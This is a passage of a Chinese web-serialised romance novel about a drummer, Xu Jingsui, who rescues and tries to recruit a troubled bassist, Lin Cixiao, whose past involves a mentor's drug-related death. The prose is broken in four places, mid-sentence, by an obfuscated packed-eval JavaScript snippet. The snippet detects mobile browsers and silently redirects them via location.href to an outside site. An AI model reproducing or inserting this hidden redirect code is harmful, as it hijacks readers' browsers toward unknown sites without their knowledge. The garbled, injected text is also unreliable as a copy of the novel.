五脏六腑因那一拳头而翻江倒海,林此宵难耐地喘了口粗气,后槽牙咬得发紧,他说:“我不知道…他在哪。” “你不知道?你跟你外婆可是他仅有的亲人?他跑之前没跟你们说?”光头拧着眉头,丝毫不相信。 “无论如何,今晚我要见到钱,他不说,就打到他说为止。” 他转过身,挥了挥手,站在他身旁的打手接收了信号,猛地朝林此宵挥出一拳,落拳时带了风声,林此宵逃无可逃地闭上了眼睛,像一只沉默待宰的羔羊,多少有些绝望和悲观。 预想中的疼痛没有传来,相反,他陷入了一个温暖的怀抱。他错愕地抬起眼,看见的是许惊岁因疼痛而皱起的眉。 他愣了愣,神色很茫然还有些不知所措。 许惊岁也不知道自己哪来的勇气,事后回想起来觉得自己大概是大脑抽风,又或者是色迷心窍。 剧烈疼痛落在他的背上,疼得他低呼了声,他拧着眉头,厉声道:“等下。” “怎么?你要英雄救美?”光头好奇的打量着许惊岁。 “跟他没关系!”林此宵立刻出声打断。 这一切他自己承担就够了,没有必要拉一个无辜者下水。他抬眼看着许惊岁,冷声道:“你赶快走!” 许惊岁置若罔闻,脚步抬了抬,走到了威哥面前,后背疼得他吸了口凉气,他扯着嘴角问:“他欠你们多少钱?” 威哥睨了他一眼,举起手比划了下,“连本带利,八万。” “我没带那么多钱。”许惊岁平静的说,威哥闻言皱了皱眉头,正以为他是戏耍时,却见他摘下了手表,说:“我这表抵给你成吗?” 威哥将信将疑地接过来,放狠话道:“你要是敢耍老子,老子今天连你一起揍。” 他看了两眼,不太懂,便喊来旁边的一个小弟,“你看看真的假的?” 小弟举着手表仔细看了半晌,答复:“哥,是真的。L&X2018年的至尊系列,市场价少说也得十万,你看这表盘里的指针,正品的指针覆有夜光涂层,这假不了。” 威哥将信将疑地盯着看了会,将表揣回口袋,踱步到林此宵面前,弯腰拍了拍他的脸,笑着道:“既然有人愿意帮你出钱,今个这事就算过去了。我也不是诚心刁难你,欠债还钱,天经地义不是?要怪就怪你那便宜舅舅。” 他说完,冲桎梏住林此宵的两人摆了摆手,淡淡道:“放了他吧。” 十分钟后,人影彻底消失在巷子口。 许惊岁还没回过神,突然听见林此宵清冷的嗓音从头顶落下来,他说:“走吧。” 语气倒不是赶人走的意思,而是让许惊岁同他一起走。 许惊岁抬眼看他,问:“去哪?” “去医院。”林此宵脸绷着,看着有些严肃唬人。 许惊岁却不怕,摇头:“我不去,我不爱去医院。” 这话是实话,他打小就不爱去医院。闻着消毒水味就觉得莫名难受,平时小伤小病都在诊所随便看看,他对自己一向不太上心。 父母离婚后,老许同志生意忙的脚不沾地,压根没时间管他,每次许惊岁闹脾气,老许都笑着赔罪道歉给他买新款游戏机,但他不知道许惊岁想要的并不是游戏机。后来长大了,懂事了,他也不闹了。 “你背后的伤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181096|165278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得去看看。”林此宵的语气有些强硬,听起来并不想给许惊岁讨价还价的空间。 明明他受伤更严重吧...许惊岁闻言愣了下,盯了他半晌,忽然笑了下,说:“你这么担心我啊?” 路边橘黄色路灯亮起,金黄色的光笼罩在林此宵身上,为他身上的冷感添了分温柔,他说:“你应该走的。” 这么多年单打独斗都过来了,其实也不差这一次。 可许惊岁却说:“然后呢?留下你被他们打?” 林此宵眸光微动,喉结上下滚动个来回,没说话。 他不知道该说些什么,许惊岁这人似乎与他的既定印象出现了偏颇。分明不是他的事,况且两人现在连朋友都算不上,即使自己真的挨打与他又有什么关系呢? 漫长的沉默,其实也才过去五分钟。街边人来人往,一辆出租车停下,对上林此宵坚定的目光以及丝毫没有讨价还价的可能的表情,许惊岁不再执拗,坐了进去,林此宵报出了医院地址。 这一片并不算繁华但很热闹,一到傍晚出摊的人很多,熙熙攘攘一条街,吃的喝的玩的热闹非凡,是属于普通人的烟火气。 到了医院,挂号看诊一套下来已是半小时后。好在没什么大问题,没伤到骨头,只是轻微皮外伤,涂抹些活血化瘀的药就行。 两人跟医生道了谢,刚要走出去,男医生想到了个注意事项,又出声叮嘱道:“那个药涂上后可以双手摩擦生热然后揉一揉淤血的地方,有助于药效吸收。” 走出门。许惊岁拎着药来到卫生间,掀起衣服才发现自己压根够不到,他向守候在门外的林此宵求助:“喂,林此宵,帮个忙。” 介于对方是因为自己受的伤,他没有推拒的理由。 门是虚掩着的,林此宵刚拉开门,就看见许惊岁白皙的后背跟劲瘦的腰身,他肤色很白,因此青紫就显得格外明显,像是遭受了什么粗暴对待。 他匆匆移开眼,接过对方递来的药,将药涂抹上,用食指小范围晕开后,双手合十对搓生热,而后覆盖上青紫区域轻揉。 药是凉的,掌心是温热的,双重感觉刺激着许惊岁的神经。他低喘了声,呼吸声因封闭空间而显得格外明显,同样避无可避的落到了林此宵的耳中。 “啊...疼...”许惊岁忽然低喊了声,语气有些娇嗔:“你轻点。” 分明刚才挨打时都没有什么反应,现在倒是娇气得很。 林此宵不动声色地放缓了动作,眼睛却看向侧边的隔间木板,像一个只会按摩的机器,过了几秒,他正走神时,许惊岁突然偏过头,微长而细绒的卷发扫过他的鼻尖,一双好看的眼眸看向他,问:“好了吗?” 林此宵怔了下,触电般收回了手,转身走出去,打开水龙头冲洗手。 双手在清凉的水流下不断搓洗,但掌心的温热却好像怎么都消不下去。 许惊岁好整以暇地放下衣服,收拾好药品,走出去就看见这么一幕,他心想:这人莫不是有洁癖? 11. 再谈记忆 夜幕低垂,晚星高挂天际,白港夏夜的晚风轻柔凉爽。 从医院走出来,这一天终于算是收了尾。林此宵看着走在前的许惊岁的背影,开口喊住了他,清冷声音认真保证道:“钱我会尽快还给你。” 许惊岁盯着他,黑亮的眼珠转了转,像只狡黠的狐狸,他嘴角勾着笑,露出俏皮的小虎牙,问:“林此宵你很缺钱吗?” 林此宵闻言抬眸看向他。 “我这有份差事,比你现在这些散活赚得多。”许惊岁笑了笑,盯着他道。 对上对方直白赤.裸的视线,林此宵撇开目光,冷淡拒绝道:“我不做有悖价值观的事。” 许惊岁先是怔了下,回味过来话里意思后低头笑了起来,他走到林此宵面前,凑近他的耳朵,暧昧撩拨的语气道:“你不会以为我说的差事是被我包养吧?” 他低笑了两声,后撤回安全距离,调侃道:“虽然我确实有这个想法。”如此直白的话从他嘴里轻松说出,引得林此宵眸光一紧,脸色刹变。 “不过我说的差事可不是指这个。”风过林梢,皎洁月光透过枝叶缝隙斑驳地落在许惊岁的脸上。 对面人愣了下,疑惑地皱起眉,就听见许惊岁说:“给我你的联系方式吧。” 林此宵的头像很简单,像是随手抓拍的一张路边野猫,橘色的小猫翻滚着露出肚皮,一只手撸着猫,镜头里的手指修长,指甲修得很短很干净。 通过验证后,许惊岁给他发过去一个地址。 他抬头看着林此宵,说:“明天来这个地方找我。” 许惊岁声音里带着笑,说完没等林此宵回应,径直往前走,背对着林此宵挥了挥手,像一只自由飞去的鸟儿。 林此宵看着他的身影,在原地呆站了很久。 * 咖啡店兼职结束已经临近下午四点。 林此宵在更衣室换下工作服,拿起手机盯着那条地址信息看了好一会。一同共事的男生瞧见了,笑着打趣:“在跟对象聊天?” 林此宵看了眼备注的“许惊岁”三字,切回了主屏幕,淡淡道:“没有。” 男生似乎对此很感兴趣,一个劲的八卦,“真的假的?没对象还是没跟对象聊?你长这么帅,追你的人应该特多吧?要不我给你介绍介绍?” 林此宵连连摆手:“真不用。”说完背着包逃也似的走了出来,脚步穿过街道,停在了601室的门口。 他盯着门牌号看了几秒,抬手敲了敲门。 里面并没有传来应答,他垂眸才发现门是虚掩着的,足以见得房主的心大。 他想了下,抬步走了进去。 很标准的两室一厅,进门是洗手间,往里走是客厅,衣服散乱地扔在沙发上,茶几桌面还有几张草稿纸,画着奇形怪状的图案。左手边的房间大概就是许惊岁所说的排练室,放着一套专业的录音设备和键盘,以及一张很小的沙发,与此同时,许惊岁正窝在上面熟睡。 他四肢修长,睡在那显得很可怜委屈。整个人蜷缩着,背隆起,林此宵突然想到辅修的心理课上老师曾提到过缺乏安全感的人睡觉时便是这种姿态。 许惊岁睡着时与清醒时截然不同,他的眼睛总是透着一股锋利的机灵劲,让人觉得攻击性很强,但倘若闭上眼睛,单看他的五官是很柔和的。 他似乎是在创作的时候睡着的,伸出去的手中还紧紧握着根笔,就在林此宵看去的那秒,那根笔像是感应到了似的,突然从许惊岁的手中脱落,掉在了沙发下。 林此宵走上前,弯腰蹲下打算拾起,因为怕吵醒许惊岁,刻意放轻了动作,好在笔没有滚落很深,他附身拾起来,刚要起身,一扭头正好对上了许惊岁清醒的双眸。 他一时间怔住。两人鼻尖仅一拳之隔,能够清晰地看见彼此眼底的倒影。 许惊岁像是刚刚睡醒,但是眼神却很清明,他缓缓眨了眨眼睛,勾着嘴角笑了下,“你来了。” 语气很平,像是早就料到了一般。 “嗯。”林此宵回过神,忙站起身,将笔递还给他,问:“你说的差事是什么?” 许惊岁坐起来,伸出手,在完成了这场交接仪式的同时食指擦过林此宵的手指,轻微地勾了下。 林此宵抬眸看去,后者表情很无辜,像是不小心而为之,他又淡淡地收回眼,余光瞥见许惊岁接过笔后习惯性的在指间转了个来回才放下。 他忽然想起来齐休给他看的那个视频里面许惊岁也是这么转鼓棒的。 “来极昼当贝斯手吧,林此宵。”许惊岁抬头看着他,目光很是虔诚。 林此宵心中有想过这个答案,但听到时还是愣了愣。 他刚要开口,许惊岁却站起来,抬起食指抵在了他的唇上,指腹冰凉,看向他的眼神炙热真诚。 他怔了怔,听见许惊岁很认真地说:“这次不要再急着拒绝我,你可以好好想想,你真的不想给你的贝斯一个舞台吗?” “如果真的不想,你为什么还在三旬呢?打工的方式有很多种,你不过是在自欺欺人。” 林此宵讶然地看着许惊岁,心中的那些想法突然无处藏匿。 过了良久,许惊岁本以为得不到回复的时候,林此宵的声音响起:“我会考虑的。” 许惊岁明白像他这种人很难轻易改变想法,这么说就是有戏,他笑了笑。 长时间的蜷缩让他的脖子有些发酸,类似于落枕的感觉,他偏着脑袋,露出白净的脖颈线,抬手揉了揉。 林此宵移开目光,问:“背后的伤好些了吗?” “唔...应该好些了吧。”许惊岁马虎道。 什么叫应该?林此宵轻微皱了下眉头,许惊岁见状解释道:“在背后我也看不到呀,上药还是水哥帮我上的呢。” 一提到上药不免想起昨晚。林此宵脸上没什么表情,心里却在想:水哥是谁? 是那天看见的可爱男孩还是跟他相拥的高大男人?想到这,他唇角不自觉地绷起。 门外突然传来了脚步声,未见其人先闻其声,男生高喊道:“小岁,你怎么又睡在工作室了啊?” 一道女声搭腔:“他不是常常这样吗,我就没见过像他这么对自己不上心的人。” 许惊岁站起来走了出去,脚步停在门口,吊儿郎当地环臂靠着门框,看着祁洲跟颜韵,有些好奇:“你们俩怎么一道来了?” 祁洲,又名水哥,极昼乐队的吉他主唱兼队长,负责词曲创作和音乐录制,算是几个人中唯一一个科班出身,擅长多种乐器。他从初中时期就开始玩乐队,高中时期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181097|165278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还做过几年地下并小有名气,今年也才刚毕业。 颜韵今年大四,比许惊岁高两届,两人同在Q大,但不同系,是乐队的键盘手。 “我想着你昨晚在这写歌,肯定要泡一天,来看看你,刚巧在楼下碰到了阿韵。”祁洲说。 “甲方事儿精,吵得我受不了,来你这讨个清净。”颜韵抬起手:“你还没吃呢吧?我带了蟹黄小笼包。” 她话音落下,余光隐约瞧见屋里还有个人,虽然被许惊岁遮挡住了大半,她疑惑道:“小岁,屋里还有人?” “对,刚好给你们正式介绍一下,我刚找来的贝斯手。”许惊岁转过身,笑着看向林此宵,热情介绍:“他叫林此宵。” “什么?”祁洲突然道,尾音因为诧异而上扬,听着有些奇怪。 只见他眯了眯眼睛,看样子像是在仔细辨别,片刻后,他脸色霎时变得很难看,径直走到许惊岁跟林此宵中间,面对着许惊岁,问:“这就是你找来的贝斯手?” 许惊岁不明所以,但肯定地点点头,就听祁洲铁着脸厉声道:“我不同意!” 祁洲转过身看向林此宵,脸色很差,态度同样极差:“我不管你是怎么说服的小岁,但我绝对不会同意你这种人加入极昼,这儿不欢迎你,你最好赶紧离开。” “水哥!” 祁洲脾气虽然爆但从没在许惊岁面前发过火,他也不知道祁洲的这股怒火从何而来,伸手拉了拉祁洲。 祁洲呈保护姿态的将许惊岁护在身后,像是怕林此宵会荼毒了他似的,横眉竖目地盯着林此宵。 这种眼神林此宵再熟悉不过,充满鄙夷跟厌恶。他早就习惯了,从那件事被人所知晓开始。 他早就该想到的,可心底里还是生出一些可悲的期待。 他反应很淡,只是抿了抿唇,而后很快地看了眼许惊岁,从头至尾没有辩解过一句,就这么沉默着离开。 “林此宵!”许惊岁刚想去追就被祁洲死死拉住,后者喝了声:“让他走,你知道他是个什么样的人吗?他磕药,而且还害死了人!” 许惊岁不敢相信自己的耳朵,惊愕地看向祁洲,又茫然的看向林此宵,只见话音落地的那瞬,林此宵的脚步突然顿了下,不知道是不是错觉,许惊岁觉得他的背都弯了些,像是被什么东西一下子压垮。 “你别开玩笑。”许惊岁愣了好几秒,才说出这么一句话。 “我没开玩笑!小岁,你平时不关注这些,不知道也不怪你。”祁洲看了眼门口,早已不见林此宵的背影,他开口解释:“这件事也是很久之前了,大概快一年了吧。齐休,我不知道你认不认识,他跟林此宵是一个乐队的,严格来说,是把林此宵领进来的领门人。” “他是个很有才华的人,他们乐队出的几首歌我都听过。可是这么一个人突然被爆出来磕药,名声一下子跌入谷底,再后来抑郁症发作,从楼上跳了下来,他留下的遗书中痛斥林此宵,暗指是林此宵教唆他嗑药的。” 句句如惊雷炸开在耳边,许惊岁觉得自己出了幻听,林此宵这么一个人怎么可能跟毒.品挂上勾,他不信地摇摇头,“水哥,一定是搞错了吧。” “没有人会在自己的遗书里冤枉人的。”祁洲见状叹了口气,说:“他就是这么一个卑劣的人。” 12. 再谈记忆 I found 那天几乎相当于是不欢而散。 许惊岁沉默了很久后说:“对不起,我想自己想一下。” 祁洲脸色也不太好,伸手拍了拍他的肩膀,张了张口,但看见他的表情,还是什么都没说,转身离开了。 “那我也先回去了,小笼包你记得趁热吃。”颜韵说完也跟着走了出去。 屋内重归寂静,祁洲方才的话似乎还回荡在耳边。 林此宵身上到底发生过什么?他一无所知,可却有一种强烈的第六感在同自己说:他不是那样的人。 想到林此宵离开时的身影,他总觉得有些莫名的悲伤,那种感觉他很熟悉,是被人一次次抛弃后,连挣扎都不愿挣扎的无力。 许惊岁想了很久,挪动脚步坐在了电脑前,在屏幕上输入齐休两个字。跃入眼帘的第一条就是:“全能音乐人齐休9月20日于家中嗑药致幻摔楼坠亡,遗书中痛斥爱徒忘恩负义。” 点开来—— “9月20日下午三点十八分。有一男子从林苑小区A栋十三层坠亡。据悉该男子名为齐休,为国内亚当乐队的主唱,知名全能音乐人,代表作有《机械人》《电子心脏》等。齐休生前曾在演出中途跳下台与观众大打出手,后被爆出吸食毒品,名声大跌。根据其晒出的诊断书,其患有长期的严重抑郁症。 根据其房间内监控所示,下午两点半,齐休开始吸食毒.品,半小时后其症状发作,只见他走到窗台边,手握着电话,情绪激动,挂断电话十分钟后,他从楼上摔下。 事发后警方在其住所发现大量大.麻,死因基本可确定为吸毒毒品后致幻坠楼身亡,无他杀情况。令人疑惑的是:在现场发现了死者留下的一张书信,内痛斥其爱徒忘恩负义,疑似暗指其教唆齐休吸食毒.品,并且根据通话记录,死者生前的最后一通电话也是打给了该人...” 许惊岁手指僵硬地滚动鼠标,脑内嗡嗡作响。 事实好像就摆在眼前,难道祁洲说的都是真的吗?可是林此宵看起来压根跟瘾.君子没有半点关系,况且也没有任何新闻报道坐实了这一点。 可是...他面对质疑的时候为什么不否认呢? 许惊岁呆坐了很久,还是不信邪地打开了手机,在联系人列表中找到了林此宵,他想要听听林此宵的解释。 他想了想编辑了条消息,发出去,等了很久却不见回应。 ... 周三,林此宵没回消息的第三天。 许惊岁看了眼手机,他发出去的消息依旧没有回复,他甚至怀疑林此宵是不是将他拉黑了,恰在这时手机蹦出一条消息提示,冷脸怪:转账三万元。 什么意思?林此宵是要分期还款吗? 许惊岁头一次被这人气得简直想要发笑,想也没想转手就把他拉黑,手机倒卡在桌面,拿起旁边的酒杯一干而净,特调酒酸且烈,呛得他连连咳嗽。 坐在一旁的祝响见状忙拍了拍他的背,递过去纸巾,关切道:“怎么了这是?借酒消愁也不是你这么个喝法。” 许惊岁拧着眉头,擦了擦嘴角,咳后的嗓音有些哑,他摆了摆手:“没事。” “我看小少爷这是情路受挫吧?” 祝响跟许惊岁同频向说话那人看去,这人名叫温振,是温家的小儿子,跟祝响算是小半个酒肉之交,许惊岁跟他仅有过几面之缘。 许惊岁对他的印象不太好,此人黄赌都沾,男女通吃、放浪形骸,败家程度比起祝响有过之而无不及。 他不太想跟这人接触,若是接了话免不了又要被刨根问底,细究感情生活一番。于是他不置可否地笑了下应付过去。 可温振偏是个一根筋,又接着道:“要我说,女人就是衣服,穿穿就换得了,那么较真做什么?”他说完拍了拍旁边女伴的腰,“去,陪陪许少。” 这个圈子里的几人向来玩得花,共享床伴都是常有的事。许惊岁懒得凑,他靠在沙发上,姿态散漫,抬起手,道:“别了。” 一曲歌毕,台上换了驻唱。许惊岁心不在焉地瞥了眼,他刚要收回视线,却隐隐觉得这个身形熟悉,他盯着看去,那人带着个鸭舌帽,帽檐宽大,几乎遮住了大半张脸,但露出的下颌线条跟唇形足以辨认出是林此宵无疑。 “怎么?许少瞧不上?”一旁地温振笑了下,说:“我早就听闻许少眼光高,要不你跟咱说说你喜欢什么样的,我回头给你留意留意?” “是喜欢小鸟依人型的还是美艳御姐挂的?” 许惊岁朝着舞台抬了抬下巴颏儿,意有所指道:“我喜欢那种。” 温振顺着他的目光向台上看去,看到台上站着的短发女生主唱,恍然道:“原来你喜欢这种可爱型的女生啊。” “不是。”许惊岁睨了他一眼,眼尾轻飘飘上挑,漫不经心道:“她旁边的。” 她旁边的...男生? 温振愣了下,露出低俗色.情的笑,“那真是不凑巧,下回咱们去风上,那里有几个小0长得正、身材好、活还好。”他凑到许惊岁跟前,压低嗓音,笑着道:“可他妈的会叫了。” 许惊岁疏离地笑了笑,心中只觉乏味,他端起酒杯自顾自地喝了两口。 几分钟后,台上音乐声收尾,他看见林此宵背着贝斯下了台,身影消失在了转角。他也寻了个借口匆匆离开。 他来到后台找了找,没瞧见人,又不死心地去了趟卫生间,照样一无所获。 林此宵到底是无意走了还是有意在躲着自己? 他正想着,忽然间,有声音从拐角传出。 许惊岁看了过去,赶巧看到林此宵的背影,在他的对面站了一位年龄稍长的男人,许惊岁认得他,是三旬的经理,大家都称呼他宗哥。 宗哥递给了林此宵一叠钱,说:“其他的都打你卡里了,这是今天的。” 林此宵也没数就塞到了口袋,清冷磁性的嗓音道了声谢。 “数都不数?这么信我?”宗哥笑了笑,拍了下少年的肩膀,说:“这段时间多亏有你在这帮我撑场,你先前的事我多少也听说了些,我知道你的为人,事实肯定不是那样的。” 宗哥拍了拍他的肩膀,眼里满是怜惜之情,“那你后面怎么想的?真不打算干这行了?唉,你这贝斯弹得多酷啊。” 林此宵沉默了数秒,宗哥明白了他的意思,叹了口气,语气听起来有些惋惜:“行吧,如果你哪天改变想法了,我这随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181098|165278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时欢迎你。” “谢谢宗哥。” “你跟我还这么客气做什么,行了,你走吧,我先忙去了。”宗哥说完又拍了下男生的肩,像是一种无言的鼓励跟安慰。 两人说完,林此宵看样子正迈步要走,许惊岁正准备喊住他,肩膀却突然被人撞了下,迎面是一个喝得烂醉的男人。 对方酒劲上头,有些怒气冲冲地道:“你他妈的走路不长眼啊!” 许惊岁懒得跟一个没有理智的醉鬼掰扯,可那人却一把抓住他的胳膊不让他走,不依不饶道:“我让你走了吗!” 手腕被他攥得很紧,许惊岁转过身,冷冷地看着他,皱着眉头不悦道:“松手。” “脾气还挺烈啊。”男人眸光打量过许惊岁的脸,眼睛顿时亮了起来,手顺着许惊岁的胳膊往上来回摸了摸,暗示意味明显地笑道:“自己一个人?要不一起去喝两杯?我请你。” 很俗套的搭讪方式。 许惊岁勾着嘴角,很轻地笑了声,不明白这人是哪来的自信。很不凑巧,他心情不佳,这人纯粹撞到了枪口上。 他上前一步,伸手点了点男人的肩膀,姿态有些撩拨,男人笑了笑,就听见耳旁响起少年的声音,低沉不悦道:“想请我喝酒,你还不够格,滚。” 他说完冷冷地扫了男人一眼,眼神像是在看什么垃圾。 男人脸上笑容顿时僵住,颇为恼羞成怒地道:“敬酒不吃吃罚酒。”他抬起手,再度试图去拽住许惊岁的手,却被人牢牢钳制住手腕。 许惊岁茫然地扭头看去,林此宵不知什么时候走到了他身侧。 “你谁啊,多管闲事!”男人骂骂咧咧,怒气上头,抬起另一只手挥拳汹汹而来,却被男生灵活躲闪开,一个眨眼的功夫,男人就被按压在地,两只手反锁在背后。 “你他妈的放开老子!操!”男人暴怒地骂了几句肮脏话,换来的却是男生手上不断加重的力道,重得似乎能将他的骨头捏碎。 许惊岁垂眸看去,一身黑色衬得林此宵干净利落,鸭舌帽没遮挡住的下半张脸的下颌线如刀刻,令他惊讶的是林此宵身上透出来的那股子狠劲,像一头不管不顾的幼狼。 没过几秒,男人自知不是对手,就开始认怂求饶:“哎哟哟,哥..,哥...松手松手,我错了...” 林此宵闻言松开了手,男人连滚带爬的匆匆跑开。他转过身,压了压鸭舌帽的帽檐,默不作声的往前走,却被前人挡住了路。 他往左,许惊岁往左,他往右,许惊岁往右,两人像在玩一个很幼稚的游戏。 许惊岁糟糕的心情却因此缓和了许多。 几次之后,逗弄老鼠的猫率先停下了脚步,林此宵见状抿了抿唇打算离开。 可就在擦肩而过的那瞬,可手腕却被牢牢抓住,他错愕地抬起眼,看见小猫露出计划成功的狡黠笑容。 一个愣神的功夫,他就沦为了弱势,后背低着墙壁,动弹不得。 许惊岁边抬手缓慢掀起他的帽檐,边低声道:“Ifoundyou.” 话音落下,帽子被掀开,他正对上林此宵深邃的眼眸。 像一场捉迷藏,获胜者露出得意的笑。 13. 再谈记忆 许惊岁声音带着笑,说话的温热气息带着淡淡的酒味,扑在了林此宵的下巴跟嘴唇上,像猫的尾巴轻轻的在心间扫过。 他忽然想起了方才许惊岁坐在卡座喝酒的样子以及与人暧昧笑着时的样子,像极了风月场的老手。 失联许久的人终于出现在眼前,许惊岁发现他剪短了头发,比寸头稍长一些,更加显得五官轮廓立体富有攻击性。 许惊岁看了他片刻,开始清算旧账:“你是把我当成银行吗?分期还款?银行还算利息呢,你打算给我年利率百分几啊?” 林此宵怔了下,否认:“我不是这个意思。” “那你是什么意思?躲着我,装作不认识?学雷锋做好事不留名?”许惊岁拧着眉头,看起来有些生气。 林此宵眸光落在他脸上,看了他好一会,最终只淡淡说:“许惊岁你喝多了。” 许惊岁确实隐隐有些头晕,那酒后劲很足,他的酒量也一般,但正或许是借了酒劲,他莫名有些底气,反驳道:“我比你要清醒得多,你才是糊涂的那个人!” “你以为你退出乐队、拒绝极昼、离开三旬,齐休就能死而复生了吗?你不过是个逃兵,是个胆小鬼!” 林此宵闻言身形一僵。 “事情既然都已经过去了,你为什么不愿意放过自己,给自己一个重新来过的机会?” 事情真的已经过去了吗?慌乱嘈杂的人群叫喊声、警车来临时的警笛声、电话里的嘟声,一直存在在林此宵的幻听中,怎么也挥散不去,像无休止的噩梦。 铺天盖地的谩骂,无头无尾的指责,有时候自己也会陷入一种怀疑:我是否真的像他们所说的那样? “什么机会?哪里还有什么机会。”林此宵很悲凉地笑了下。他背着不干不净的过去,任何知晓的人都会露出跟祁洲一样的神色,厌恶、鄙夷,他已经受够了! “我不是吗?极昼不是吗?” “许惊岁,你自以为你又有多少了解我?”林此宵的眸光很冷,声线低沉:“我们不过是有几次交集,连朋友都算不上。” “你口口声声说着为了乐队,不过是为了满足自己的一己私欲,你跟外面那些见色起意的人又有多大差别?说到底只是几分新鲜劲!” 话说出口他才意识到有多伤人,可已经无法收回。他薄唇张了又合,什么也没说出来,对面人也没说话。 空气都突然静了下来,过了几秒,许惊岁突然抬起头,眼底有些发红,林此宵脑内突然“嘣”的一声,断了根弦,他抿了抿唇,僵硬地道歉:“对不起。” 许惊岁看了他一眼,嗓音低哑道:“如果别人觉得你什么样,你就觉得自己什么样,那我瞧不起你。”他说完头也不回地离开。 * 一周后。 许惊岁接了个朋友的约,那人也是个音乐制作人,自个也搞了个乐队,最近他乐队的鼓手老家有事,回去了,恰巧这几天有一场演出,临时找不到人,便喊了许惊岁过去救急。 “我的出场价两万起步,算你个友情价,八千八百八,怎么样,黎哥?”许惊岁一边转着鼓棒,一边勾着嘴角,散漫地笑着看向对面的吉他手。 董黎闻言笑了笑,拿手中的拨片扔向许惊岁,笑骂道:“得了吧你!你乐队王子啊你,还一晚两万,哥这个可是慈善汇演,没钱赚,还得倒贴钱。” 许惊岁笑了笑,将拨片扔回给他,“啧啧”两声调侃道:“要不说咱黎哥人帅心善呢,对了,我的声卡坏了,回头送我一个呗,我想要你那种。” “小兔崽子挺敢要啊,行,包哥身上了。”董黎调了调吉他弦,问:“《CityofHope》这首歌会吗?” 《CityofHope》这首歌是董黎写的词,找的一个神秘朋友编的曲,许惊岁特喜欢这首,还问过董黎能不能把编曲的朋友推荐合作一下,董黎笑着说:“他不接外面的私活,我这还是凑了巧,他还人情债才帮我编的。” 这首歌刚在平台上线,许惊岁就找董黎要了谱,花了一晚上练了数遍。不过这首歌还没正式在演出场合表演过。董黎有点不放心,便问了问。 “黎哥的歌我都烂熟于心了好吗?”许惊岁抬起胳膊冲董黎比了个金属礼,董黎笑了笑。 随后的几天,许惊岁跟着一起排练了三四次,他对这首歌确实熟悉,所以排练的主要目的就是跟其他几个乐手练习一下配合度。 很快就到了表演的那天。轮到董黎跟许惊岁等人上台的时候已经是下午两点,台下观众挺多,乐队登台时,下面的热情极为高涨。 林此宵站在人群中,他应了董黎的邀约前来观看,这是他为董黎编曲的歌的首次演奏。只不过他没想到竟然看到张熟悉面孔。 这首歌的开头便是鼓声,只见许惊岁转了下棒后轻敲了几下军鼓,咚咚的声音像沉闷的呼吸,紧接着依次敲响Crash,鼓点开始密集起来,气氛也由沉闷转为激进,许惊岁跟着鼓点点着脑袋。 在一段DRUMFILL后,董黎衔接上吉他RIFF,连续重复三四秒后贝斯声响起,低沉的bassline搭配激烈的鼓声,林此宵看见许惊岁抛了下棍,零失误的接住,抬眸得意地笑了笑。 少年太过恣意,让人压根移不开眼。林此宵呼吸慢了半拍,惊觉舞台上的许惊岁似乎与平时的那个散漫的他截然不同,他热爱且投入。 身旁响起此起彼伏的议论声:“这个鼓手好帅啊,好蛊啊!” “你看见没?他笑起来还有颗虎牙哎!” “天哪,刚才那几个抛棒简直酷毙了!真是纯纯炫技啊!” 也有人认出了许惊岁,好奇道:“这不是极昼的那个鼓手吗?我之前去看过他们的演出!真的太有魅力了!” “就是他!他跟那个贝斯手超好磕,有一次演出结束后,贝斯手还给他送了花!是玫瑰!不过听说那个贝斯手现在离队了。” “不知道极昼什么时候重新开始演出,我还挺期待的。” “......” 送花?林此宵突然想起第一次与许惊岁见面时,对方送的那一大捧碎冰蓝玫瑰。 送玫瑰花是他们的传统吗?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181099|165278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 旁边的女生在朋友的怂恿鼓励下打算问林此宵要个联系方式,就见对方脸色很冷,像是不开心,便将刚冒出头的春心又按了回去。 一段长达二十秒的纯乐器演奏的前奏后,鼓声逐渐转缓,吉他声线开始突出,董黎开始缓缓唱到—— “有一天我漫步金色街头看见兔子朝我招手 